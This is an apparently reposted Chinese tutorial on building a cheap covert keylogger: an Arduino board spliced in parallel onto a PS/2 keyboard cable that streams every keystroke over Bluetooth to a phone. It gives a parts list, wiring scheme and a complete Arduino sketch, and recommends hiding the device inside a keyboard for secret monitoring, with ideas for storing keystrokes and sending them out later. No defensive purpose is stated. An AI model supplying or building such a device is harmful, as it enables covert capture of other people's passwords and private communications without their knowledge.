分享

50元制作PS2键盘无线监控装置

 新华书店好书榜 2015-03-07
Aduino的官方网站:http://www.,要进行下面的内容,请在此下载arduino的官方IDE并安装,在IDE安装目录的drivers子目录中,有烧写arduino所需要的usb转串口驱动,必须要先安装驱动才能开始编程. 

0×01    模块  
複製代碼
    1.arduino nano/micro/mini一个    30元左右
    2.蓝牙模块一个    20元左右
    3.若干导线    一坨3元左右

用山寨的nano(实战的话得把排针拔掉,焊上导线)也可,价格10元左右。mini也不错,价格也是10元左右,但是需要一个usb ttl来烧写程序。micro山寨的30元左右,这个比nano小点,跟mini差不多,这个板子可以模拟键盘和鼠标实现HID攻击,相当于teensy。指甲大小的lilypad兴许可以,我这里没有这个板子,不太清楚这个板子的情况
 

 
而实战时,把arduino的排针拔掉,直接把这两个模块焊起来,大小就跟下面的差不多了,由于导线会比下面的略大一点
 
0×02 思路

最初的思路是,利用micro板子接收ps2键盘然后在再有micro模拟成键盘转发出去。但是因为由于不能完全解码ps2键盘的按键信息,所以我就换了个思路。直接用板子并联在连接线上面,这样键盘发出按键信息后会沿着线路到达两个地方,一个是计算机,一个就是我们的记录器了。

0×03 原理

ps2口一共有6个针脚: clock时钟、GND接地、DATA数据和5V的供电,剩余的两个是没有使用的保留口,排列顺序如下图所示:
 
其中clock和data用于截获按键信息,剩余两个用于给键盘和装置供电。

接线图:
 

 
看起来连线有些眼花缭乱,事实上很简单的几下。键盘正常连接计算机不变,只需要在键盘连接计算机的线路中的这四根线引出导线连接在板子上即可。

蓝牙模块也同样需要连四根线
 
0×04    连接硬件
 

 
上图是装置的全部分,实战时把线路焊接起来而不用杜邦线和排针就可以压缩到u盘大小,而且供电直接取自键盘。可以把此装置塞到键盘当中实现隐秘监控,由于使用的不是转发的方法,即使电路故障(只要焊接好,可能性很低)也不会影响键盘的正常使用。焊好后大小就如同文章开头提到的。

0×05    烧写程序

首先需要下载一个库文件,解压放到arduino ide安装目录中的librarys文件夹中。然后使用arduino ide 给板子烧写程序,在工具菜单栏中选好板子的型号,在选号对应串口号。烧写以下程序
複製代碼
#include <PS2Keyboard.h>

const int DataPin = 3;
const int IRQpin =  2;

PS2Keyboard keyboard;

void setup() {
  delay(300);
  keyboard.begin(DataPin, IRQpin);
  Serial.begin(9600);
  Serial.println(\"Keyboard Test:\");
}

void loop() {
  if (keyboard.available()) {
    
    // read the next key
    char c = keyboard.read();
    
    // check for some of the special keys
    if (c == PS2_ENTER) {
      Serial.println();
    } else if (c == PS2_TAB) {
      Serial.print(\"[Tab]\");
    } else if (c == PS2_ESC) {
      Serial.print(\"[ESC]\");
    } else if (c == PS2_PAGEDOWN) {
      Serial.print(\"[PgDn]\");
    } else if (c == PS2_PAGEUP) {
      Serial.print(\"[PgUp]\");
    } else if (c == PS2_LEFTARROW) {
      Serial.print(\"[Left]\");
    } else if (c == PS2_RIGHTARROW) {
      Serial.print(\"[Right]\");
    } else if (c == PS2_UPARROW) {
      Serial.print(\"[Up]\");
    } else if (c == PS2_DOWNARROW) {
      Serial.print(\"[Down]\");
    } else if (c == PS2_DELETE) {
      Serial.print(\"[Del]\");
    } else {
      Serial.print(c);
    }
  }
}

手机上面使用Bluetooth spp连接蓝牙串口,就可以看到键盘的实时按键信息了。

我使用的是笔记本,没有ps2口,所以我用另一arduino板子当作计算机。所以你会看见视频里一坨东西,但装置只有两个小板子,其余都是为了模拟计算机
附上视频:
http://v.youku.com/v_show/id_XODkwOTgxMTI0.html
视频中可以看到当按键后,手机的蓝牙端实时接收到按键数据,而同时计算机也收到了按键信息。可以看出这个装置是不影响键盘和计算机的通讯,只是听一听它们在聊什么

0×06    其他问题

有些地方还需要完善:
複製代碼
1.功能键部分无法识别(但不影响键盘使用)
2.按键信息还可以通过更便宜、更小、传输距离更远的nrf24l01+,代码有点复杂(为我还没有研究明白)
3.arduino自身提供了EEPROM存储器,但是容量仅仅只有1k,所以没有往上面存储按键信息,如果加入关键字触发,才写入存储,兴许有点用。也可以用micro sd卡模块,将按键信息存储在存储卡中,等到有人连接装置后通过无线发送出去。我没买这个模块,所以这块没有做。

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多